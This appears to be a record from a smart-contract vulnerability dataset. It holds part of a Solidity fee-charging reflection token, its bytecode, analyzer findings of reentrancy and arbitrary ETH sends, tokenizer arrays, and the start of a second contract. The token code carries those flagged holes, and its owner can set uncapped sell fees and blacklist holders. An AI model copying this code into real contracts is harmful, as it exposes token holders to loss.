if(feesOnSellersAndBuyers) { setFees(to); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function setFees(address recipient) private { _taxFee = defaultTaxFee; _marketingFee = defaultMarketingFee; if (recipient == uniswapV2Pair) { // sell _marketingFee = _marketingFee4Sellers; } } function SwapAndSend(uint256 contractTokenBalance) private lockTheSwap { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), contractTokenBalance); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( contractTokenBalance, 0, // accept any amount of ETH path, address(this), block.timestamp ); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { marketingWallet.transfer(contractETHBalance); } } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function setDefaultMarketingFee(uint256 marketingFee) external onlyOwner() { defaultMarketingFee = marketingFee; } function setMarketingFee4Sellers(uint256 marketingFee4Sellers) external onlyOwner() { _marketingFee4Sellers = marketingFee4Sellers; } function setFeesOnSellersAndBuyers(bool _enabled) public onlyOwner() { feesOnSellersAndBuyers = _enabled; } function setSwapAndSendEnabled(bool _enabled) public onlyOwner() { SwapAndSendEnabled = _enabled; emit SwapAndSendEnabledUpdated(_enabled); } function setnumTokensToExchangeForMarketing(uint256 _numTokensToExchangeForMarketing) public onlyOwner() { numTokensToExchangeForMarketing = _numTokensToExchangeForMarketing; } function _setMarketingWallet(address payable wallet) external onlyOwner() { marketingWallet = wallet; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } }
0x6080604052600436106102765760003560e01c806357e0a1d01161014f578063a3864430116100c1578063d54994db1161007a578063d54994db146107a2578063dab522a8146107c2578063dd62ed3e146107e2578063ea2f0b3714610828578063f2fde38b14610848578063ff897570146108685761027d565b8063a386443014610706578063a457c2d71461071c578063a9059cbb1461073c578063bc951f981461075c578063c537bd8f14610772578063cba851b31461078c5761027d565b806388f820201161011357806388f82020146106455780638da5cb5b1461067e57806395d89b411461069c5780639f646214146106b1578063a062e3ba146106c7578063a08f6760146106e65761027d565b806357e0a1d0146105ba57806370a08231146105da578063715018a6146105fa57806375f0a8741461060f5780637d1db4a51461062f5761027d565b80632d838119116101e8578063437823ec116101ac578063437823ec146104cd5780634549b039146104ed57806349bd5a5e1461050d5780634a49ac4c1461054157806352390c02146105615780635342acb4146105815761027d565b80632d83811914610425578063313ce567146104455780633685d4191461047757806339509351146104975780633b124fe7146104b75761027d565b80631bbae6e01161023a5780631bbae6e01461035d5780631cdd3be31461037f5780631ff53b60146103af57806322976e0d146103cf57806323b872dd146103e55780632663236f146104055761027d565b806306fdde0314610282578063095ea7b3146102ad57806313114a9d146102dd5780631694505e146102fc57806318160ddd146103485761027d565b3661027d57005b600080fd5b34801561028e57600080fd5b50610297610888565b6040516102a491906124ac565b60405180910390f35b3480156102b957600080fd5b506102cd6102c83660046123b4565b61091a565b60405190151581526020016102a4565b3480156102e957600080fd5b506016545b6040519081526020016102a4565b34801561030857600080fd5b506103307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b0390911681526020016102a4565b34801561035457600080fd5b506003546102ee565b34801561036957600080fd5b5061037d610378366004612469565b610931565b005b34801561038b57600080fd5b506102cd61039a366004612304565b60146020526000908152604090205460ff1681565b3480156103bb57600080fd5b5061037d6103ca366004612304565b610969565b3480156103db57600080fd5b506102ee60085481565b3480156103f157600080fd5b506102cd610400366004612374565b6109b5565b34801561041157600080fd5b5061037d61042036600461244f565b610a1e565b34801561043157600080fd5b506102ee610440366004612469565b610a9c565b34801561045157600080fd5b50610465600054600160a01b900460ff1690565b60405160ff90911681526020016102a4565b34801561048357600080fd5b5061037d610492366004612304565b610b22565b3480156104a357600080fd5b506102cd6104b23660046123b4565b610d12565b3480156104c357600080fd5b506102ee60055481565b3480156104d957600080fd5b5061037d6104e8366004612304565b610d48565b3480156104f957600080fd5b506102ee610508366004612481565b610d96565b34801561051957600080fd5b506103307f000000000000000000000000d7f7378ad50af38dc7b24c8c9a4900f987ce35bd81565b34801561054d57600080fd5b5061037d61055c366004612304565b610e23565b34801561056d57600080fd5b5061037d61057c366004612304565b610e6e565b34801561058d57600080fd5b506102cd61059c366004612304565b6001600160a01b031660009081526012602052604090205460ff1690565b3480156105c657600080fd5b5061037d6105d536600461244f565b610fc1565b3480156105e657600080fd5b506102ee6105f5366004612304565b610ffe565b34801561060657600080fd5b5061037d611060565b34801561061b57600080fd5b50600e54610330906001600160a01b031681565b34801561063b57600080fd5b506102ee600c5481565b34801561065157600080fd5b506102cd610660366004612304565b6001600160a01b031660009081526013602052604090205460ff1690565b34801561068a57600080fd5b506000546001600160a01b0316610330565b3480156106a857600080fd5b506102976110d4565b3480156106bd57600080fd5b506102ee60075481565b3480156106d357600080fd5b506018546102cd90610100900460ff1681565b3480156106f257600080fd5b5061037d610701366004612469565b6110e3565b34801561071257600080fd5b506102ee600d5481565b34801561072857600080fd5b506102cd6107373660046123b4565b611112565b34801561074857600080fd5b506102cd6107573660046123b4565b611161565b34801561076857600080fd5b506102ee600a5481565b34801561077e57600080fd5b50600b546102cd9060ff1681565b34801561079857600080fd5b506102ee60045481565b3480156107ae57600080fd5b5061037d6107bd366004612469565b61116e565b3480156107ce57600080fd5b5061037d6107dd366004612469565b61119d565b3480156107ee57600080fd5b506102ee6107fd36600461233c565b6001600160a01b03918216600090815260116020908152604080832093909416825291909152205490565b34801561083457600080fd5b5061037d610843366004612304565b6111cc565b34801561085457600080fd5b5061037d610863366004612304565b611217565b34801561087457600080fd5b5061037d6108833660046123df565b611301565b60606001805461089790612612565b80601f01602080910402602001604051908101604052809291908181526020018280546108c390612612565b80156109105780601f106108e557610100808354040283529160200191610910565b820191906000526020600020905b8154815290600101906020018083116108f357829003601f168201915b5050505050905090565b60006109273384846113c1565b5060015b92915050565b6000546001600160a01b031633146109645760405162461bcd60e51b815260040161095b906124ff565b60405180910390fd5b600c55565b6000546001600160a01b031633146109935760405162461bcd60e51b815260040161095b906124ff565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b60006109c28484846114e5565b610a148433610a0f85604051806060016040528060288152602001612694602891396001600160a01b038a1660009081526011602090815260408083203384529091529020549190611835565b6113c1565b5060019392505050565b6000546001600160a01b03163314610a485760405162461bcd60e51b815260040161095b906124ff565b601880548215156101000261ff00199091161790556040517f3efb3f9ce66ef48ce5be6bff57df61c60b91f67f10f414ed7cd767b1c9cdad7d90610a9190831515815260200190565b60405180910390a150565b6000601754821115610b035760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161095b565b6000610b0d611861565b9050610b1983826113ae565b9150505b919050565b6000546001600160a01b03163314610b4c5760405162461bcd60e51b815260040161095b906124ff565b6001600160a01b03811660009081526013602052604090205460ff16610bb45760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015260640161095b565b60005b601554811015610d0e57816001600160a01b031660158281548110610bec57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610cfc5760158054610c17906001906125fb565b81548110610c3557634e487b7160e01b600052603260045260246000fd5b600091825260209091200154601580546001600160a01b039092169183908110610c6f57634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152601082526040808220829055601390925220805460ff191690556015805480610cd557634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b0319169055019055610d0e565b80610d068161264d565b915050610bb7565b5050565b3360008181526011602090815260408083206001600160a01b03871684529091528120549091610927918590610a0f9086611884565b6000546001600160a01b03163314610d725760405162461bcd60e51b815260040161095b906124ff565b6001600160a01b03166000908152601260205260409020805460ff19166001179055565b6000600354831115610dea5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015260640161095b565b81610e09576000610dfa84611890565b5093955061092b945050505050565b6000610e1484611890565b5092955061092b945050505050565b6000546001600160a01b03163314610e4d5760405162461bcd60e51b815260040161095b906124ff565b6001600160a01b03166000908152601460205260409020805460ff19169055565b6000546001600160a01b03163314610e985760405162461bcd60e51b815260040161095b906124ff565b6001600160a01b03811660009081526013602052604090205460ff1615610f015760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015260640161095b565b6001600160a01b0381166000908152600f602052604090205415610f5b576001600160a01b0381166000908152600f6020526040902054610f4190610a9c565b6001600160a01b0382166000908152601060205260409020555b6001600160a01b03166000818152601360205260408120805460ff191660019081179091556015805491820181559091527f55f448fdea98c4d29eb340757ef0a66cd03dbb9538908a6a81d96026b71ec4750180546001600160a01b0319169091179055565b6000546001600160a01b03163314610feb5760405162461bcd60e51b815260040161095b906124ff565b600b805460ff1916911515919091179055565b6001600160a01b03811660009081526013602052604081205460ff161561103e57506001600160a01b038116600090815260106020526040902054610b1d565b6001600160a01b0382166000908152600f602052604090205461092b90610a9c565b6000546001600160a01b0316331461108a5760405162461bcd60e51b815260040161095b906124ff565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606002805461089790612612565b6000546001600160a01b0316331461110d5760405162461bcd60e51b815260040161095b906124ff565b600a55565b60006109273384610a0f856040518060600160405280602581526020016126bc602591393360009081526011602090815260408083206001600160a01b038d1684529091529020549190611835565b60006109273384846114e5565b6000546001600160a01b031633146111985760405162461bcd60e51b815260040161095b906124ff565b600755565b6000546001600160a01b031633146111c75760405162461bcd60e51b815260040161095b906124ff565b600d55565b6000546001600160a01b031633146111f65760405162461bcd60e51b815260040161095b906124ff565b6001600160a01b03166000908152601260205260409020805460ff19169055565b6000546001600160a01b031633146112415760405162461bcd60e51b815260040161095b906124ff565b6001600160a01b0381166112a65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161095b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461132b5760405162461bcd60e51b815260040161095b906124ff565b60005b818110156113a95760016014600085858581811061135c57634e487b7160e01b600052603260045260246000fd5b90506020020160208101906113719190612304565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556113a28161264d565b905061132e565b505050565b60006113ba82846125bc565b9392505050565b6001600160a01b0383166114235760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161095b565b6001600160a01b0382166114845760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161095b565b6001600160a01b0383811660008181526011602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166115495760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161095b565b6001600160a01b0382166115ab5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161095b565b6000811161160d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161095b565b6001600160a01b03831660009081526014602052604090205460ff1615801561164f57506001600160a01b03821660009081526014602052604090205460ff16155b61169b5760405162461bcd60e51b815260206004820152601b60248201527f54686973206164647265737320697320626c61636b6c69737465640000000000604482015260640161095b565b6000546001600160a01b038481169116148015906116c757506000546001600160a01b03838116911614155b1561172f57600c5481111561172f5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b606482015260840161095b565b600061173a30610ffe565b600d54600c5491925082101590821061175357600c5491505b808015611763575060185460ff16155b80156117a157507f000000000000000000000000d7f7378ad50af38dc7b24c8c9a4900f987ce35bd6001600160a01b0316856001600160a01b031614155b80156117b45750601854610100900460ff165b156117c2576117c2826118df565b600b5460ff16156117d6576117d684611b27565b6001600160a01b03851660009081526012602052604090205460019060ff168061181857506001600160a01b03851660009081526012602052604090205460ff165b15611821575060005b61182d86868684611b72565b505050505050565b600081848411156118595760405162461bcd60e51b815260040161095b91906124ac565b505050900390565b600080600061186e611cef565b909250905061187d82826113ae565b9250505090565b60006113ba82846125a4565b60008060008060008060008060006118a78a611eac565b92509250925060008060006118c58d86866118c0611861565b611eee565b919f909e50909c50959a5093985091965092945050505050565b6018805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061192f57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119a857600080fd5b505afa1580156119bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e09190612320565b81600181518110611a0157634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b031681525050611a4c307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846113c1565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790611aa1908590600090869030904290600401612534565b600060405180830381600087803b158015611abb57600080fd5b505af1158015611acf573d6000803e3d6000fd5b504792505081159050611b1857600e546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611b16573d6000803e3d6000fd5b505b50506018805460ff1916905550565b6004546005556007546008557f000000000000000000000000d7f7378ad50af38dc7b24c8c9a4900f987ce35bd6001600160a01b039081169082161415611b6f57600a546008555b50565b80611b7f57611b7f611f3e565b6001600160a01b03841660009081526013602052604090205460ff168015611bc057506001600160a01b03831660009081526013602052604090205460ff16155b15611bd557611bd0848484611f70565b611cd3565b6001600160a01b03841660009081526013602052604090205460ff16158015611c1657506001600160a01b03831660009081526013602052604090205460ff165b15611c2657611bd0848484612096565b6001600160a01b03841660009081526013602052604090205460ff16158015611c6857506001600160a01b03831660009081526013602052604090205460ff16155b15611c7857611bd084848461213f565b6001600160a01b03841660009081526013602052604090205460ff168015611cb857506001600160a01b03831660009081526013602052604090205460ff165b15611cc857611bd0848484612183565b611cd384848461213f565b80611ce957611ce9600654600555600954600855565b50505050565b6017546003546000918291825b601554811015611e7a5782600f600060158481548110611d2c57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611da55750816010600060158481548110611d7e57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611dbc5760175460035494509450505050611ea8565b611e10600f600060158481548110611de457634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205484906121f2565b9250611e666010600060158481548110611e3a57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205483906121f2565b915080611e728161264d565b915050611cfc565b50600354601754611e8a916113ae565b821015611ea257601754600354935093505050611ea8565b90925090505b9091565b600080600080611ebb856121fe565b90506000611ec886612220565b90506000611ee082611eda89866121f2565b906121f2565b979296509094509092505050565b6000808080611efd888661223c565b90506000611f0b888761223c565b90506000611f19888861223c565b90506000611f2b82611eda86866121f2565b939b939a50919850919650505050505050565b600554158015611f4e5750600854155b15611f5857611f6e565b6005805460065560088054600955600091829055555b565b600080600080600080611f8287611890565b6001600160a01b038f16600090815260106020526040902054959b50939950919750955093509150611fb490886121f2565b6001600160a01b038a16600090815260106020908152604080832093909355600f90522054611fe390876121f2565b6001600160a01b03808b166000908152600f602052604080822093909355908a16815220546120129086611884565b6001600160a01b0389166000908152600f602052604090205561203481612248565b61203e84836122d0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208391815260200190565b60405180910390a3505050505050505050565b6000806000806000806120a887611890565b6001600160a01b038f166000908152600f6020526040902054959b509399509197509550935091506120da90876121f2565b6001600160a01b03808b166000908152600f6020908152604080832094909455918b168152601090915220546121109084611884565b6001600160a01b038916600090815260106020908152604080832093909355600f905220546120129086611884565b60008060008060008061215187611890565b6001600160a01b038f166000908152600f6020526040902054959b50939950919750955093509150611fe390876121f2565b60008060008060008061219587611890565b6001600160a01b038f16600090815260106020526040902054959b509399509197509550935091506121c790886121f2565b6001600160a01b038a16600090815260106020908152604080832093909355600f905220546120da90875b60006113ba82846125fb565b600061092b606461221a6005548561223c90919063ffffffff16565b906113ae565b600061092b606461221a6008548561223c90919063ffffffff16565b60006113ba82846125dc565b6000612252611861565b90506000612260838361223c565b306000908152600f602052604090205490915061227d9082611884565b306000908152600f602090815260408083209390935560139052205460ff16156113a957306000908152601060205260409020546122bb9084611884565b30600090815260106020526040902055505050565b6017546122dd90836121f2565b6017556016546122ed9082611884565b6016555050565b80358015158114610b1d57600080fd5b600060208284031215612315578081fd5b81356113ba8161267e565b600060208284031215612331578081fd5b81516113ba8161267e565b6000806040838503121561234e578081fd5b82356123598161267e565b915060208301356123698161267e565b809150509250929050565b600080600060608486031215612388578081fd5b83356123938161267e565b925060208401356123a38161267e565b929592945050506040919091013590565b600080604083850312156123c6578182fd5b82356123d18161267e565b946020939093013593505050565b600080602083850312156123f1578182fd5b823567ffffffffffffffff80821115612408578384fd5b818501915085601f83011261241b578384fd5b813581811115612429578485fd5b8660208260051b850101111561243d578485fd5b60209290920196919550909350505050565b600060208284031215612460578081fd5b6113ba826122f4565b60006020828403121561247a578081fd5b5035919050565b60008060408385031215612493578182fd5b823591506124a3602084016122f4565b90509250929050565b6000602080835283518082850152825b818110156124d8578581018301518582016040015282016124bc565b818111156124e95783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156125835784516001600160a01b03168352938301939183019160010161255e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156125b7576125b7612668565b500190565b6000826125d757634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156125f6576125f6612668565b500290565b60008282101561260d5761260d612668565b500390565b600181811c9082168061262657607f821691505b6020821081141561264757634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561266157612661612668565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611b6f57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c6e3c363a29ddd2a6b96ae9e4a1b44d56b262aa2ea45ce90f4e426aca090261264736f6c63430008030033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 14141, 2575, 2475, 2278, 16147, 29097, 2546, 2683, 21057, 2575, 9468, 2094, 2475, 12879, 2509, 2278, 2509, 27421, 2063, 2487, 2050, 24087, 2094, 22022, 18139, 2683, 24594, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1017, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,477
0x96dd64f791586648870244c00385ad94c7f6542d
/** *Submitted for verification at Etherscan.io on 2021-05-22 */ // SPDX-License-Identifier: NONE // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 